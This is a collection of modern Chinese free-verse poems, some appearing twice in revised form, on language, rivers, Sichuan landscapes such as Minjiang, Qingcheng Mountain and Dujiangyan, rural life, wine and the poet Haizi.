春水就在门前，蹊跷的是雨季， 未来。 有人在用一双木屐， 踢踏着门槛一遍一遍等你说话。 有人却断定出你绝非是我 便孤身走到了现代语言的里面。 未来的行程艰难似现在， 那些未来的雨， 尚没有到来，正讨论着你我。 敲打 《敲打》 用最小敲打我的感激， 使我感激于 赐予我描述你高大的任务。 赐予我在文字里面迎头走着如在一条河 难言的断定，不因天色将暮 我的肤浅却不断的让我怀念 家中深藏的酒酿。 如果我不能把一个心软如玉，藏在 我心房同样的地方。 宽广夜色的回声 已经失败的让给了乌鸦和默不作声的杜鹃。 即使沉默的语言之鸟，我也听够了。 在语言中，顺着一个 竹木的梯子缓缓走下 却又是走上的意思。 所以仅仅我自己，就有那么多问题 担忧与困惑。 我恳求你打我打的更疼一些， 落到实处，弄假成真。请你 不得不被事与愿违的颠倒和狡辩所淹没。 疼在在一篇过时的赋文里， 疼的有人会惊叫，有人枯木逢春。 那简简单单的一个敲字， 在于打中。你手握的教尺， 自己是，同样打也在那同一个哲理之中。 源头 《源头》 让源头性的诗人沉默不语 紧咬牙关。 在他的疼中咬，好让哲理 去解释它自身的哲理。 源头诗人大梦一场，靠水而居 只穿着一双旧鞋子，因此 把符号抛给树枝上的云雀， 把语言还给了哀伤的河谷。 源头诗人，当我再一次提起他，并不意味着 我去找他，我去找他我就能找得到他。 源头诗人爱因此爱一个空空之中的 后面， 当那些语言属于我，又顺着自然的暮色 垂落，和消逝 他爱放一把破旧的古琴在无人的山谷。 他爱音乐胜过爱美酒 爱着同样无形的语言，它那正走向的 奇特和未知。尘世里面新生 只消搭眼一瞧，空谷便遥遥向我们招手 向我们的手中之手招手 心中向藏着的那个，招手。 耗尽我一生的仿佛是徒劳思索 为徒劳而耗尽一生的人， 也会为一个有意义的文字而感到幸福。 春季11 《春季》 想象有人， 变作了语言。 又因为我而变作， 在了语言的深处。 \/ 我要问的时候，舌头是必须的 因为爱你，一切被美丽 放置在了迫切的琴弦上面 \/ 舌根处的语言该有着多么繁忙的 补救而非建筑的景象呢。 它们一路，比我更早的穿过了春季。 雷阵雨 《雷阵雨》 降一滴雨，再降一个文字。 降一个实体，在地上成为一颗石头 我在心里知道，因为有急事就需要 另一个事物来代替， 天空是不够用的，对于匆忙。 我们就需要从大地上来寻找原因 把我们的目光移动向下 那些呵，在大地上因为雷阵雨 而不经意和必然要消失的事物 每一个体内都正在， 经历一个fo国。 所有1 《所有》 所有的事物都在彼岸， 所有事物都在一座桥上。 所有的事物都赶了来，拥挤 闭上自己的嘴巴，把因果 推卸给了对方。我的想象要比我还要无力， 坍塌的大地如同雨水。 它不仅仅只醉心于消灭一个禅言， 时间在它自身的无限里面 包含了倾听，许诺，愤怒于背弃。 所有准确的词语都疼， 在大地上你总是能找得到，一个 比另一个更坚硬 这不是万物最初的模样， 顽固来自于命运的提问。 于是，我把心内的侥幸藏的更深 更深。 那些121 《那些》 “那些”没有自身， 它仅仅凭借着我是我的 迟疑而存在。 \/ 那些人， 他们甚至比我还要紧张。 当我走向他们的时候， \/ 语言就变成了火， 收紧的语言，它已绷到笔直。 生长1 《生长》 生长。生长和语言 两个人，我和你。 期盼雨水的植物拒绝了 早令人厌烦的语言。 我走不脱，人就走不脱。 两个人，我。我就去寻找你 做一些可以去飞的语言 尝试着去飞的语言让它们失败 看轻于现世，再弄作了俗世。 它们返回于我，我才可以一次次的尝试 我尝试着把金色的太阳光线也收集 群居的亲戚一般，语言把世界组成。 我在此地幸福，语言是无尽的 时间带走了我的想说就说。 不必1 《不必》 不必遁入深山，但要离开土地 为了给腾空证明 你与我离地几尺。 我们的腰疼，我与你 很快我就碰到了你，身体碰到了你的 胳膊，胳膊错乱着碰到了腹部 错乱词语的灾难，平息也是一场灾难。 我成为了你，我就追忆你。 交付于我的 如此宽敞，那么多闲暇可以用来浪费，用来 逆流而上，在词语的根源放 一把镰刀。今天和明天，明天充满了蠢蠢欲动 你要证明什么， 在土地上镶舌头，把我们自己变作 具体的语言所要说出的困难？ 说我。金色的太阳使我回忆。 河流在重复之中驮着它自己的枯竭。 枯竭的河流落入语言的巢穴 耕作的农民漫山遍野，石头打河水 语言压着语言。 语言需要土地，土地需要庄稼，庄稼是植物 我们离开了土地 我们又落回土地。 贫乏111 《贫乏》 用诗歌堆积， 前人的诗歌正为我的焦躁买单。 向我介绍你的亲戚吧， 在你面前站着，面容灰色的人 失败于f徒之心。 从火里走了出来。 已经125 《已经》 虽已过去，诗歌重复属于它的时代。 那么多语言， 今日倾斜，可能还存在坍塌的危险。 语言咬住了语言打一个结， 结果里面没脸没皮等于自由自在， 我在剥蚕豆。 我清醒，放松，在诗歌时代过去以后的时代 里面剥开蚕豆， 把种地再次与种子联系在一起而 缺少了词语。 令人心满意足这也是一个未来者的 语言。 大地投人影，语言不能再多 向着贫乏和肤浅 再一次生出，仿佛再次会被叫做春水和池苑。 再一次被忽视了的蚕豆， 一个时代之中倾向于多，另一个时代如此的小心， 出于 《出于》 出于不满，就成了可以书写的历史。 出于不满，经过人们的调查，刻度就诞生 语言有时候钟情于在这里逗留 人有时被语言叫着，三五成群，在山坡饮酒作乐。 想不到时间也会有艳羡自己短暂的时候， 有据可查的时间驶过了蓝色的天空。别人 在我的眼睛里面是一团蓝色的火焰。 我一路尾随着，我猜测，结果不对，冷冰冰 结果揣测。有多少个生在这里，死在这里 沉默已因此不那么重要。 那些火大有渊源。那些火栖居，又 把一个又一个事件投进了历史的熔炉。 明亮的火跟偶然的人如此的平等， 那些平静缓慢的诗歌仿佛我是要 将它们意义不再的答案告知于它。 躲开，我不是被历史穿透的哪一个人 如今，我们只是祈祷和团聚，团结和共吟 我们驳斥新世纪的宗教，如果还不够 语言，破裂的蓝玻璃。寻找那矛盾是我们的任务 像问题和主角到现在才告知。火， 取出火，取出了烫。 烫被释放。烫逃离， 有多少因此只能以永恒来触及。 多少，是在我手上的文字。 多少， 回音，登山，奉呈。 多少，什么， 雨水1 《雨水》 让我拥有雨得的姿态， 回到小镇上生活。 我颜面全无， 便什么礼物都没有带。 我没有，敲开每一扇窗户。 在夜间，我也没有 温润和复习那些偶然 会以疾风暴雨来断定的骂名。 人总想着借我的身体 来书写情怀，勇气和太过执着的爱情。 小广场上的跷跷板， 曾是我童年的玩伴。 我不是文字，也不能 太过长久把昏暗的灯火反射。 从我的身体里面走回我自己， 是我的愿望。于是我化作了雨 像一个无人知晓的秘密。 轻飘飘落在了一个姑娘撑着的雨伞上。 小镇，， 《小镇》 逃难和战火是如何的精疲力尽， 逃跑的老妇人如何从语言 沉默缝隙里拼出一丝力气。 星辉下面的这些个影子， 因分散而注定了起初的团结。 如果他们更近，再往血液一般 亲缘那里去靠拢， 纸张和这里这个籍籍无名的小镇 也将被他们所找到。 为了等待这一幕， 夜里。我是我，一个人是我， 先z是我，语言由我赋予。 我轻轻的靠近小镇寂静的耳朵， 吹掉它冬天上面覆盖的那一层白霜。 它就快要换名字啦， 当从男人向着女人， 女人向着再次孕育后爱情的田野。 这是我的小镇，今夜的重复那又是什么。 青色。。。 《青色》 青很远，像酒泼出 桃花林里我等了很久。 这些远的颜色里面 很多人都醉了。 我看到贪杯有时找到了更好的理由， 人头攒聚就在天上星辉般呈现。 人不可能以头顶的方式说话， 头发，不能葬送太多民族的牙齿。 醉酒的方式也还是会有， 当一个醉的厉害，醉过了头，来到了一片 只能以语言通关的清醒之地。 狭窄的缝隙里面另有一种可能。 我觉得是他了， 他就是天上的神仙，说断就断， 当机立断。 在他倒下的巨大意义之前我要 问出我想要的答案。 窗棂下抚琴者形状柔美，有人越过我 向一片额头递出了语言最自然的一面。 登月 《登月》 谨防他的梦， 他的梦是坐到月亮上去。 地方太多了，这个 家伙行踪诡秘不好监控 失败的下午的语言之网 成了傍晚云朵一般的劝慰语气。 他说， 我比他还荒唐。 我都不知道他是谁，仅仅凭借 他这个字就苔痕上阶绿，望文生义 乃至于望梅止渴， 试图阻拦他体内一支惯常南征北战的军d。 看起来我的方法是奏效的， 同一时间对天色和文字所使用的反间计 让夜色穿透了纸张里面的门。 我打开了他， 我，披上衣服，与我告别， 化作了另一个人，坐在树丛边 为登月安静得准备着。 春汛 《春汛》 从山谷一场春汛 击碎了梦想而与我们的盼望 没日没夜的亲吻和对话。 为河水穿上野花的衣裳吧 你就是野花，紧闭了自己的名字 灌溉之前的那一朵。 和解 《和解》 与事物和解，冬天走的就缓慢了。 睡梦从夜晚延伸 到白天的草茎和荒滩。 在我的语气边，像是照看 有一株草茎。 我叫不出它的名字，熟悉它的样子。 我有些担心，是否我一直遵守着诺言？ 乡村， 《乡村》 在漫长形成上出现可疑 那么粗鲁的人天性本就直接。 推一颗石头， 古老的寓言生在莫名和梦幻。 漫长形成之后如果没有孤单， 那些从天幕的斜照之中的是些什么 从我到你，从你静止不动尴尬的表情里面 流露出永恒和决绝。 成为树，一棵，它抓紧了整个 从山坡到谷底的原野。一层层梯田 展露着我难以言喻的话语。 我的梦境分不清现实与虚幻里 那些我到过的地方，我用我的头颅的顶端 轻轻的触碰。希望里面触碰出它野蛮的力量。 成为种子。 成为人，沿着坡道一路走成一个人影 投身于太阳。就会让太阳高悬。 我们抱紧了语言的柴火， 渡河而去，对面居住的人家，向农村的生活 投出一个带有疑问的亲吻。 我所有的困惑在夜晚都将会变成 一撮土壤，蜷缩之时，行程很远 像复现。声音追着声音以此而失败， 岷江896 《岷江》 全部的语言用来听江水， 起初送了命。它用江水之声 掩盖自己的求饶声。 就这样走了一路，走进又 从鱼腹走了出来。 视那些梦幻都是虚假的， 它想换一种语言。 在人身上有着的，是另一种活法 涉及颠倒和翻an。 这真是闻所未闻， 一条江水葬送了自己而 成为了人。 在下游，灯火整夜闪亮。 一个人因陌生化而重新学习了语言。 那些77 那些 《那些》 “那些”没有自身， 它仅仅凭借我是我而迟疑的存在。 \/ 那些人， 他们甚至比我还要紧张。 我走向他的时候， \/ 语言变成了火， 收紧的语言，已绷到笔直。 青城山56 《青城山》 为我准备瓜皮和果屑。 只一撇前功尽弃了，把我就变作了 虚空里面一点白。 白再更多一些， 言语的涌动来自于思想， 肉体沉默却一劳永逸妄图贪杯于现世。 咬紧牙关，我是一个 应叫不出疼的人。你疼，你就渡河而来 再渡河而去。 就让我看到你镜子般破碎的一面， 语言因水涝而稀少。 我继续往里面投着， 一边又紧张的观望着那颗被称作日冕的太阳。 青城山89568 青城山 《青城山》 为我准备瓜皮和果屑。 只一撇就前功尽弃，把我变作了 虚空里面一点白。 白再更多一些， 言语的涌动来自于思想， 肉体沉默却一劳永逸妄图贪杯于现世。 咬紧牙关，我是一个 应叫不出疼的人。你疼，你就渡河而来 再渡河而去。 就让我看到你镜子般破碎的一面， 语言因水涝而稀少。 我继续往里面投着， 一边又紧张的观望着那颗被称作日冕的太阳。 巴蜀158 《巴蜀》 我只在属于我的一亩三分地， 把历史剥出，再把历史种下。 睡和醒是一个意思， 对话一直都在，它打翻了沉默。 我看你，看的有内容，有滋有味。 有原因。 像我在夕阳垂落时分看太阳， 不看那些远的文字，也 不让它们走进，你质询于我的内容里面。 江水111 《江水》 立起来。江水，就截断一段语言。 它身材臃肿随季节变化， 因截断又让语言遗漏了下去。 那些看不清的事物我以脸庞赋之 以容貌赋之我就把少女比作农妇。 远远的隔岸观火。停留于文字， 让文字再悬空，悬浮 经历这一整个历程。 流水4689 《流水》 可以肆无忌惮的， 为流水湍急后果，埋没和书写。 解释一遍遍映照未来的天空 与历史紧密的关系 出开彼、这里就是常在深夜 把自己想象成了一头雄狮在疼痛。 面对那些难言的句子，我们还需要一团火 温暖中我也走向我们。我听到了 夜里纷纷断裂的声音来自于手臂 听到苟活在梦幻里面的造字者，斟酌 正准备把一个群体和民族都放入其中。 侍者 《侍者》 丛林，诗人 那些投射而来的东西 不仅仅阻挡我前行的脚步 组成的迷瘴，是重复着自身的法t。 \/ 诗人应该拥有光亮的头颅 最容易被我们抬起者的困难以世界唤之。 而隶属于谁的手，无关紧要中 就成了诗的语言。 在诗歌的门槛上面。休息，停下 我看到垂落双手，一点点的走来。 \/ 并不布告，像我酒酿之徒的身份。 容我也在一些语言中，如果 容器的不易破碎来形容我的身体， 亲密的粮食消化之前面见了文字。 \/ 不仅仅酒， 我也是一只夜鸟一般的完美替身。 同一文字由诗人的沉默不语， 而起。在同一种命运里面， 臣服于他们的喜乐悲欢。 岷江588 《岷江》 康复在农民身上走完一生 那就让农民在农业身上 成为一个美丽的词语。走完一生 他将在石头的尾部搅动那些江水 浪花是大江大河的源头和开始。 随着我地理的延展， 我将闯入，我将拜访，随后在农民身上 徒劳的反抗中我走完了一生。 命运的弓弦发出让人颤抖的声音， 我会在一个寂静的夜里 告诉他雪山，石堆，冰凉河水怀抱它的温度存活。 人不定的位置，在岸上的远方的农民 在此地的农民还没有经历幸福的生育 把此地更多的语言抛入太阳 粮食在语言之外成为母亲。 江水883868 江水 《江水》 横断的江水，语言的江水 它身材臃肿随季节变化。 截断又让语言遗漏了下去。 那些善变与语言的冲突我以脸庞赋之 不发一言的走入了，更深处自我的矛盾。 什么时候，少女才能走到岸边 和平和胜利为她准备的巢穴。 一次隶属爱情的历史甚至让我们走到了生， 横断的江水呵，阻断了一支前行的队列 语言在世界的尽头形成。 草地58 《草地》 草要对花儿说很多的话， 夜很短， 话很多， 草就长满了一地。 为寻一朵花儿我来早了， 这世上有一些花因爱人而开的太早， 开的悲剧，忍受着寒冷。 在青草上我是哪一个文字和诗句呢 青草上等太阳一出来，我 就变得很温暖。 异乡的女子 《异乡的女子》 从诗到酒，都在深里 语言等待着一个漩涡出现 好把表面平静的命运诉说。 来去与大和小是一个意思， 来这里，有人挥挥手，花就开了。 开的苍茫也就开的热烈， 动了花团锦簇的意思。在一片流逝上叹息 确实能让一个面见江水的人，沉默中 被迷到七晕八菜。 只有异乡的女子最懂语言， 最懂酒意之中，直截了当的是北方的莽夫 巴蜀地界一过，就把语言弄作了 以宏大叙事曲所表示的语言的凌乱。 由杯盏结束，酒劲很大， 历史就容易自成悬疑。 由杯盏开始时我们又该去哪里 寻芳踪，扭扭捏捏把故人之美说出 再去寻她呢。此时， 我觉得我是坐在杯盏里面想你， 杯盏不深，酒浅，江河日盛。 在距离很远的情况下，你就是你，你就是一种事实。 但我不管不顾那些你三番五次托付的，嘱咐的。 事实依然不够，人的本性怕溺亡。 一切对我而言很深，语言试着上涨 它不是潮汐， 在某些近邻的意义上，它有时推断了自己。 我就向着一切闭口不谈， 除开桃花这种身份，我也并不在任何的爱慕里。 江河日盛 《同桌》 江河日盛， 折梅， 折菊， 折一朵桃花。 江河日盛， 有人说疼， 我就把你的名字还给你。 夜晚3898 《夜晚》 夜深的太过深了， 我们就找不到更好的形容词。 夜晚，与生命流放地其实没什么不同。 为相似而上升着的一切， 另一个则一成不变，只在重复着自己之中 被我们以梦呓的方式念出。 \/ 树叶和树的距离， 代表着那条准确的刻度。 季节坐在室内最深处，一条 脱落了油漆的桌子后面。 我们做梦，在这边，我们的语言 拥有着无限的功用。 我们赞美因果和因果之中的一切。 \/ 我想起了梦中的声音， 它充满了反思。 白日里面那些个最猖狂的诗言 如今早已成为了历史。 从八十年代的最有才华们那里 面对着一条路，一路上被称作了征程 作为群居者的一代人， 就这么散开，又因为入梦 在我们都难以察觉的另一个悄无声息的路途上面 村庄659 《村庄》 有人问了千遍万遍，村庄 就是修缮之后再次的衰败。 这一个在于弓起脊背一般的光亮， 此刻话语很短，缝隙饱满。 像树叶属于槐树，又慢慢的开始 听到了它们，信守了自己的承诺。 我迟疑于我们口中的村庄是什么， 为何又要将我从我们之中剔除。 如果我是一直是一个活在虚幻里面的事物 被我看到的那真，我有那么多证明的机会 在春天律令般展现。 饮酒25 《饮酒》 语言不断的试图往后退 在已经说出的话语上， 什么被叫做了历史。 打圆场的姑娘，更早到来。 路上的葵花，矮于花朵，直到 紧闭，把美丽锁进自己身体。 来者只剩下一副空空的躯体 来者何人只是酒醉之后再次的 把有关于觥筹交错的语言之迷来回忆。 有另一种梦， 酒是有力量的。人 唯有这样一种心甘情愿的臣服时刻， 女人是我们多么倔强的刻度和标志 她一动就无比的像一个动词， 她吻成了她自己的心中所是， 需要通过我的， 就不仅仅是一个占卜师一般把问题 猜测正确的疯言疯语了 ：葵花被莽夫注意和呵护 这不可思议的一件事。 异乡的女子， 异乡的女子 《异乡的女子》 从诗到酒，都在深里 语言等待着一个漩涡 好把表面平静的命运诉说。 来去与大和小的意思是一样的 来这里，有人挥挥手，花就开了。 开的苍茫也就开的热烈， 动了花团锦簇的意思。在一片流逝上叹息 确实能让一个面见江水的人，沉默中 被迷到七晕八菜。 只有异乡的女子最懂语言， 最懂酒意之中，直截了当的北方莽夫 巴蜀地界一过，就把语言弄得凌乱不堪。 由杯盏结束，酒劲很大， 历史就容易自成悬疑。 由杯盏开始时我们又该去哪里 寻芳踪，扭扭捏捏把故人之美说出 再去寻她呢。此时， 我觉得我是坐在杯盏里面想你， 杯盏不深，酒浅，江河日盛。 在距离很远的情况下，你就是你，你就是一种事实。 但我不管不顾那些你三番五次托付的，嘱咐的。 事实依然不够，人的本性怕溺亡。 一切对我而言很深，语言试着上涨 它不是潮汐， 在某些近邻的意义上，它有时推断了自己。 我就向着一切闭口不谈， 除开桃花这种身份，我也并不在任何的爱慕里。 海子54 《海子》 事物深过了头， 生死就在无人注意的情况之下 成为一种文字游戏。 现实与梦幻共同处于 一句话的记录中。1989年， 我相信，除了空气一切都是假的。 那人儿遂脱去了诗人的身份， 坐火车，渡重洋，去参加了 另一个诗人的葬礼。 查家湾 《查家湾》 人们会叫我什么， 我就叫你什么。 为了同一个日子的无奈， 路过槐树时候的没有停留， 来不及打扫那些影，比我更轻 被称作了我。 \/ 升起，不仅仅是未来有关的惆怅和叹息 所以你也就不必斤斤计较于 掉落，从高一些地方发生本身的痛苦感。 升起，把什么抛下 这就是事实，但村庄属于更大的定断 茂密的树丛 暮色里有许多声音。 长在因果的也是它， 一遍遍风声一般就开始 有了拟人的倾向。 \/ 鼓盆之村，如果这种赞誉远远不够 此刻你就打开再匆匆把一本书籍合上 我劈开庄子的另一半也还是你， 出于重复的喜悦，借着语言合上 大江大河的也还是你。 \/ 我总能遇到你， 你的生，你的死。亡故如此的灿烂， 我不反驳，我说亡故的如此决绝 也大体没错。 我们能一直就这样待在文字里面就好了 我愿意把想说的尽量不说， 非说不可，就尽量往后拖延。 在梦幻里面我也并不满足， 我走过的那叫什么？ 人们问我，我就接着问问你。 民谣 《巷子》 我走过很宽的民谣， 却叫做窄。 我走过你时走过的 其实是我的梦想。 我听歌，歌词不知道 我重听一遍，还是这样，我 走过有你的民谣， 很宽的巷子他们叫作窄。 海子58 海子 《海子》 事物深过了头， 生死在无人注意的情况之下 就成了一种语言游戏。 现实与梦幻共处于 一句话中。记录是这样写的。1989年秋， 我相信，除了干旱的空气一切都是假的。 遂那人儿脱去了外衣和里面诗人的身份， 坐火车，渡重洋，试图能够赶得上 另一个诗人的葬礼。 匆忙 《匆忙》 没有我，没有我吧。 就不会从我贪婪的欲念 事物变作苹果。 开满了黄花的苹果树林，苹果是苹果的命运 正经受着梦幻和天气转移，双重压力。 花开的目的并不纯正，远远的在山坡上 为了结束，我在那里。路途匆忙。 美丽85 《美丽》 每一个事物都美丽， 爱纷纷返回。不美丽 会在时间上面花掉一些时间， 给我们展示花掉时间所需要的 具体景象。继续往前赶， 在我们的嘴里就有了 令人兴奋的集镇和城郭。 我们已经知道了我们的命运， 路边摊位上面，随便买到的每一个东西 赶回去时， 都能摇身一变变作可以吹奏的竖琴。 以这种方式谈及命运有何不可， 向怀疑的人坦诚与爱同行。 对静止不语者肃然起敬 为了学会和体验， 在生存必然的苦难上面，我们首先 应懂得忍耐和包容。 少年 《少年》 趁着夜色再往下走一点， 我就能重新的感觉到 那些比沉默更重的事物。 孤独者肤浅而仿佛又朝向着永恒的旁白， 世界之间的距离将消逝，变化更早的淹没了你 你变作了我。重复的你在此之中，勇敢 是不害怕语言。 你能猜测的到天边哪一缕叛b的白云， 增多的语气功亏一篑， 没有形成的雨正对着语言。 在你口中的这样一种处境，我会使得你 更加的无奈吗。 站在花里，再多一点点，整个世界就会 将你包裹，成为少年。 植物44 《雪山》 从你开始，植物是植物 植物看着自己的影子，没有悬疑。 回来的人路过了你，衰老就不可避免 成为了话语。 那些带着命运般不相信口气的人， 纷纷的亮明了他们的身份。 铁匠，木匠，瓦匠，石匠 农民的阵痛期原因于妻子的离开，远方的山水 就破碎成一个理由。 你有时候什么都不是，那些无和否定 也纷纷被摆脱。 仓颉造字有时候快有时慢，有时候一只手为了摸到你 而下到了阵痛里面。 少年8986 少年 《少年》 趁着夜色往下走，我就能重新的感觉到 那些比沉默更浓郁的东西。 孤独者肤浅又仿佛旁白于永恒之物， 世界之间的距离将消逝，变化更早的淹没了你 你变作了我。重复的你在此之中，勇敢， 从不害怕来自语言上的那些困难。 够了，你已能猜测到天边哪一缕是叛b的白云。 再继续只会使语气功亏一篑。 我能理解你的同情心， 春来一来，种下的树就开始了发芽 开始的极其遥远，它的一片叶子往里收缩 远方是一盏灯笼，远方之人 正因此匆匆赶来。 都江堰不仅仅 《都江堰》 没有水 石头，沙子与诗歌的矛盾将暴露。 增大，慢慢无法调节。 我等，很久了 但并不是我自身的历史，我面对的青山 也一直在自己无辜中沉醉。 它面对另一番江水，另一条河，有时形而上， 措辞在千古流逝的轻易。 一睡一醒， 有脱离水族者，命令一千个部下修建都江堰。 摇身一变农民与士兵的中间产物， 一条水利工程。同时在水上和陆地展开 以水的一面把陆地的另一面藏起， 水和诗是同一件东西，诗如果被仔细 在一个场景里面注解，它变得奔腾 走向自己温柔的歧义。走向人嘴上以农夫口吻 表达时颤抖的舌尖， 形成另一种语言。 把不可理解的事情轻轻的放在水上 我们面对着是何其大胆的一件事情。 我们因而丢失了其中滋味， 但有时候抉择踌躇，犹豫 对话我的是一个柔弱影子，那些落潮时分 发生的太过于匆忙了 总是如此， 我们伸出了试图捕捉的手，我们以语言 表达上来诉诸于抓住。 那种流逝的感觉从手掌和指尖划过 在历史这条曲径上，那个秘密 让我们知道，是我们自己放弃了它。 第二天， 有人就匆忙的z告天下， 某年某某月份，秦太守李冰父子命人 把诗歌，修筑进了一条叫都江堰的水利工程。 青城山下5868 《青城山下》 隔着水波， 使我在这边堆满，想你的词语 心有芥蒂一消失 首先到来的就不是夜晚而是 农民在会在自己简单的生命历程 里面匆匆走完了一生。 他以为那是困难的所以他喜欢歌唱爱情 夜把这一切覆盖而作为了 难以言喻因果和第一个到达的事物。 有一种事物叫做梦 它的原意是说出，农民在梦中醒来 看到一个为听他说话而到来的人。 成都868 《成都》 花了很多年，明白做一件事的困难 很多年只做一件事是语言上面的困难， 被自然而然比作水或路的， 语言在上面有人行舟或走动。 但那也还是昭示着新时代的两件事， 新也一样，夜晚点上了灯，在一个屋子里面 还是你跟我，换了衣服，人模狗样 谈论起这个字只要前后摆放的位置不同 事情的意义就出现反差。 我很想说的是，把一个人的命运也放进去 原因在于他童年时期的懵懂无知，再加上 他一直不是我，我也在他的长大过程之中 把他有效的拒斥。就这样， 过了一夜，姑娘就消失不见，很自然 夜像一条路，直直往前太过匆忙的就打一声招呼 闯进了你我都习以为常的迷雾之中。 我会在日上三竿时候，找一个地方坐着 看那个被我们忽视的问题。 人行在了我们的唇上，裤头里面揣着 新买来的锁和钥匙。 一切的解决方法都在了我们身上， 我们是责任很重的人。乌龟驼背，有时云雨 以正义严词修z它。 有时候迷路的人会撞上我，让我 也体验一次言说之嘴被另一个傻luan踩着的感觉。 我在锁中走的很深，锁芯，锁l，锁与一句话。 我总觉得秦时明月汉时关能拯救我， 像一剂良药， 但听闻了夜半钟声到客船之时，又觉得不对 怕把别人，为捋顺一句话而带进了沟里面。 耳目闭塞 《耳目闭塞》 我弄错了次序，远离人本能，自然的天幕 我迟疑，窗口之外，有答案 答案之上难不成才别有洞天。 瞧瞧，我把它们俩，一对冤家，共生体 感觉和文字保护的多好 挑出那些带刺的，向外的，并保持利用它们的本性。 我探不到人类的梦想，里面小心翼翼的恐惧。 在历史的篇章上正有人沙沙的书写，落入了命运。 我什么都听不到，耳目闭塞。在事物的表面开辟出了 一个横跨几十年的战场。 它们纷纷投降，面对我的强势而以失败告终 活着没有名字，植物就是植物。 投降者生长着， 沉默是一种可怕的东西。 螃蟹 《螃蟹》 因为我们到达横，螃蟹就横爬着 落入了大海。 把最深的奥秘带入了大海 是对我们温柔的回答。 水生植物早已经开始了它们的旅程 它们在螃蟹这个进化的节点上面稍作停留 面对着语言的困难，人施舍给了它 一双坚固的钳子。 在人的回声里面躲避，来到大海的梦想 对于人自己的困境， 那些灯下火烛明的时刻是远远不够的。 几年前 《几年前》 几年前，这快荒芜的土地上面， 我思讨过生死，把抗议归咎于了自己。 最终一个失败者落荒而逃，荒芜 在季风气候里面随着雨水， 像往年一样再次敲开了草种的门扉。 在土地上让它来承担了一切， 多么不可思议的一件事。走向土地 我看见一个臣服者慢慢的脱去了 自己一层层衣服。 农民最终如愿活在与社会的脱节里面 叩向土地的这些人，比土地更苦更不幸。 人类的良心正试图心怀侥幸的进入沉默 那些颗粒早已经被历史规定和匡正， 两端都是人类的手法， 有时在土地上蔓延，从土地上升到星星和月亮。 从土地1 《从土地》 从土地的粗糙往上， 用无形天平换来语言，在语言里面 让我们走动，可以反悔 让出嫁的姑娘重新回到她的青春 让我一路被语言通j着，我已无暇顾及于 我身边掠过的山水景物 在食物里面它们被压缩，它们 仅仅大于干粮，干粮因此脱去了最后的水分 在一个万物被试图蒸腾的季节 我来到了你的身边。 这样在一句话里面度过了自己的一生， 在未来的我被我感知着，现在像无法被解读 和逃脱的东西。 花朵5869 《花朵》 在春天慢慢的成为少女。 迷路了， 就在春天慢慢的成为了花朵。 语言温暖， 借着风你拒斥着我。 有多少人呢，因为美丽 而在那条路上迷成 只属他自己的梦幻。 看吧6898 《看吧》 剥开一枚花生， 饮一口茶， 烧开一壶水。 我们不说话，看它们能把我们的语言 逼迫到何种处境。 我们不说话，沉默便有了力量。 人的权l占有了我们全身， 看吧。 语言在何种处境里面才是 把我们逼迫的罪魁祸s。 带来679 《带来》 我带来的东西， 因你的话语而就在了这里。 作为交换， 你美丽的一部分也随我而去。 带来6597 带来 《带来》 我带来的东西， 因你的话语而留在了这里。 作为交换， 你美丽的一部分随我而去。 河西68 《河西》 写诗是本来之事， 那么生死就在开始，也结尾处起伏。 高铁自从新之后就平凡的奔腾 河西走廊的毛细血管在乘务员的美丽嗓音之中重现。 土地很大，旧日的语言之国依然苦苦哀求着大地。 人们已经调查清楚，不放过每一个地方 木门换铁门锁不住什么秘密了。 你听到了一声叹息，远来客也有他的困惑。 我想起了那卓越的诗人李亚伟， 请求新时代的黄昏金色的线条，如果他在这里 再到访一次他会怎么做呢。 诗歌与眼前一一展开成为了景物 只有那一片摇摇欲坠的，庆幸自己逃脱了建筑 在另一番语言隶属于诗人的叛逆之中， 璀璨夺目的海洋渴望着粗鄙，正命中那坠落 河西6898 《河西》 写诗是本来的，那么生死就是本来的。 坐高铁来到了这里，古代史回荡着旧日的波纹。 土地很大，随你怎么说，停在门前你是一个问号和叹号，你是本来的。 导游夜晚消失，第二天就穿过门廊，重新找到昨天的你， 在那些一时让人困惑的话语里面重新成为历史中的女性 你本就是一个沉默的人，话语正在绑架了我们。 山西大院把黄河修在了院子里面， 在河水泛黄的对面一双双慢慢变得熟视无睹 当这样的时机让群星与麻木取得了联系 那个曾经心狠手辣的李家老爷 就在你的话语之中再次的辗转难眠。 我们彼此关心着对方，你在远处，小心一些， 说出我的名字。 成都88 《成都》 内部，嗯，内心 夜晚属于脆弱的女人。 为繁星找一个原因，让一个苦闷的男人 明天在大地上行走。 他的命运被土地颠倒 他的头朝下，情爱无法回流。 白天制造的尽是为了应付那些， 没有太阳和月亮的诗篇。 他的命运是颠倒了的大地， 也并不仅仅， 只有与爱相关的，可畅通无阻。 河滩 《河滩》 两个我，空虚的时间 试图在今天，明天之间继续的沉沦。 \/ 有小刀就可以在语言稀薄的远方地区， 把证据弄成前人，把前人从树皮上剥落。 一切交给历史和未来的人群，是可疑的。 在树上，或随便湖边找一棵 在摸一把现实， 和它名字上面一点红。 \/ 看看，它就是这样在午饭中跌倒的。 即使那些网格远离了城市和霓虹。 像诗歌一样现代的， 像我一样在失忆的瞬间走神了。 我总以为鱼上升， 正是眼前所发生的一切的实情。 花儿6598 《花儿》 那些花开的极其遥远， 在远远的山上， 不断的变幻着名字。 因为风。 那些正走向迷途的风， 另一个方向上会再次的吹过来。 春天 《春天》 这些动词仿佛要说些什么， 很广大的一种东西。 一种事物， 它正面临着它开始的某种神秘化。 就想着你多么需要这种语言 这种东西自身之内颤抖，欲逃脱。 仿佛让整个世界欲从春天 干枯的树枝上坠落下来。 无题68989 《无题》 你我都在这里，我们 都带着解释的生活 一条河流在我们的体内催促着我们 我们生出了很多疑问 命运它更早的到来于因果的必然 鲜活的生命并不重复自己， 不重复，于它的无形。 书页。。 书页 《书页》 书页掀开来了，直到 它的袒露属于更为大的秘密。 什么都可以是秘密， 近处掌上了灯 越来越近。 有时候我觉得我来晚了 四下无人。 我想，要不要去书中寻找 历史之中一声惭愧 可能它正面向着一支红袖。 仅仅那么一抹红对语言的不满，此刻 就引发了 许许多多的灾难，那火焰 往外的延展直到这里才被扑灭。 如果我对我说出的话语感到了迟疑 感到怀疑， 为一个准确的词语和诗歌的失败， 为我最后的努力，把诗歌 放在河水的对岸 我相信会有春汛，像一种重复 像语言时是再次的重复 很明显一具生灵他大于语言 一行语言它在降生的啼哭那里破碎和形成。 在我自身这里因为书写的揭露 而一切开始变得矛盾重重 我继续书写，书写失败投降，故事中的 尽是悲剧，惨案。 退回到沉默的时候我看到了 阅读的城郭，很多的人一起言语， 